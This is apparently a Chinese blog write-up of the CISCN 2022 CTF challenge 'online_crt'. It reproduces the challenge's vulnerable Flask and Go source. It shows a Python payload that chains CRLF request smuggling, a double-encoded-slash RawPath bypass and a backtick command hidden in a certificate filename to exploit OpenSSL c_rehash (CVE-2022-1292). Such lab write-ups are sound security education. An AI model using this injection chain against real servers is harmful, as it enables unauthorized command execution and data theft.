首页 > 其他分享 >[CISCN 2022 初赛]online_crt crash漏洞引起的命令执行

[CISCN 2022 初赛]online_crt crash漏洞引起的命令执行

时间:2024-05-21 12:29:11浏览次数:22  
标签:crash CISCN crt get x509 app 初赛 form import

几天没做题了,有点生疏。看题吧。题目标签说是CVE-2022-1292,去看看。

意思就是在$fname处构造恶意文件名导致的命令注入,而且前面没有认真过滤,也就是文件名命令执行。

看看题目源码:

点击查看代码
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend())
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))
    return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

proxy提供了访问内网的途径,可以利用其构造CRLF来进行文件名的伪造,createlink就是触发c_rehash,getcrt就是生成crt文件。那么流程就是先生成crt文件,利用crlf伪造文件名(利用点为proxy的uri),访问createlink。这里忽略了个东西导致过程出现了错误,看了wp说是gin框架中对url进行了过滤,看看go源码。
点击查看代码
package main

import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}
可以看到c.Request.URL.RawPath != "" && c.Request.Host == "admin"分支时才是我们想要的。RawPath解释是go中会对原始url进行反转义操作(URL解码),如果反转义后再次转义的url与原始url不同 那么RawPath会被设置为原始url 反之置为空,这里的绕过应该是正常的二次编码,看了wp发现只需将payload中的一个'/'进行二次编码转换成了%252f即可。 那么构造payload:
点击查看代码
import urllib.parse
uri = '''/admin%2frename?oldname=自己的证书名&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
'''
gopher = uri.replace("\n","\r\n")
aaa = urllib.parse.quote(gopher)
print(aaa)
做完这步在访问proxy时需要添加Content-Type: application/x-www-form-urlencoded,构造get请求将uri写在post处。会回显。

证明我们构造成功执行了。访问createlink触发c_rehash,最后访问/static/crt/flag.txt拿到flag。
github cve-poc地址: https://github.com/alcaparra/CVE-2022-1292/blob/main/README.md

总结:

  1. openssl中fname过滤不当导致的文件名命令执行漏洞

  2. RawPath的绕过

标签:crash,CISCN,crt,get,x509,app,初赛,form,import
From: https://www.cnblogs.com/jocker-love-you/p/18203684

相关文章

  • MarkdownPad2渲染插件导致的崩溃AppCrash_MarkdownPad2.exe
        markdownPad2编辑较大文档时,莫名崩溃,内存占用也不是过高。查看AppCrash奔溃报告:  显示Awesomium插件程序故障。此程序是由markdownPad官方提供的渲染插件。访问其官网,尝试同时下载安装另一渲染程序:http://markdownpad.com/faq.html#livepreview-directx安装后......
  • arm64 下内核 crash—— 非法地址
    下面是在实际工作中遇到的一次内核(5.4.110)访问非法内存地址(空指针)导致出错的现场,在这里记录一下简单的分析流程为以后遇到类似的问题作为参考。[220.619861]UnabletohandlekernelNULLpointerdereferenceatvirtualaddress0000000000000023[220.628815]Memabort......
  • CISCN 2024 Power_Trajectory+通风机 WP
    一些碎碎念这次是本菜鸡第一次参加正式的CTF比赛,不出意外没做出几个题。最后自己只做出了两个misc,对不起队里的大佬qwq简单记录一下做出来的两道miscPower_Trajectory这题感觉蛮不错的,算是科普了一种侧信道攻击。题目下发一个.npz文件,提示是硬件的功耗记录泄露,要我们找出密码......
  • iOS获取.ips文件并通过Xcode自带的symbolicatecrash解析
    文章讲述如下问题:1.如何获取.ips文件2.如何获取symbolicatecrash3.解析前的准备工作4.如何将.ips转为.crash文件5.如何使用symbolicatecrash解析.crash文件6.异常错误处理1.如何获取.ips文件?在iOS中,你可以通过几种方式找到应用程序的.ips文件,具体取决于你是在开发......
  • 初赛笔记
    第一章计算机基础知识1.计算机的概述计算机发展史第一代真空电子管;第二代晶体管;第三代集成电路;第四代大规模、超大规模集成电路 ;第五代智能计算机系统 第一台计算机1946年美国ENIAC 重要人物冯·诺伊曼 ,”计算机之父“,提出计算机体系结构图灵,"人......
  • buuctf-pwn-ciscn_2019_es_2
    checksecida我们看到在vul函数中,有两个read函数,每个都读取了0x30(48)大小的字符,并放入字符数组s中,也就是说我们能溢出的只有8个字节,刚好覆盖到ebp和返回地址所以我们需要栈迁移,使我们能溢出更多字节首先利用第一个read,输入40字节的数据,刚好覆盖到ebp,然后printf就会顺带打印......
  • buuctf-pwn-ciscn_2019_c_1-ret2libc
    检查一下保护情况ida里选项2,3都没有什么重要的信息,直接看选项1发现栈溢出漏洞,不过程序对输入的字符串有一个异或加密,这里可以构造异或后的payload,利用程序来解密,或者可以直接在payload第一位加上'\x00',直接截断payload后面的异或操作用cyclic测一下溢出点,得到88找一下system......
  • [国家集训队] Crash的数字表格 / JZPTAB
    题目所求即\[\sum_{i=1}^n\sum_{j=1}^m\frac{ij}{gcd(i,j)}\]这里没有出现\([gcd(x,y)=1]\),所以我们枚举\(gcd\)的值来硬凑,原式就等于\[\sum_{d=1}^{min(n,m)}\sum_{i=1}^n\sum_{j=1}^m\frac{ij}{gcd(i,j)}[gcd(i,j)=d]\]为了出现\([gcd(i,j)=1]\),直接将\(i,j\)变成\(d\)的倍......
  • CISCN2023-华北-normal_snake
    就得审java。又更新了,因为我前面jar包导不进去,所以把它解压了导入的,然后环境正常了就想起来把这个打了。路由分析老规矩,先看看路由:/read路由下传参data,pyload不能包含!!,然后用了yaml来load传入的参数。稍作了解,这其实就是 SnakeYaml反序列化漏洞,禁用了yaml的常用头 !!......
  • [CISCN 2023 西南]seaclouds
    玩了三天,做做题复健。这次看到的题是CISCN的seaclouds,这道题没直接用java原生反序列化。审计分析审一下源码:一个MessageController.java,访问根路由传参message,那么它会解码一个硬编码的Base64字符串。如果message参数不为null,那么它会尝试解码该参数。如果解码失败,它会解码......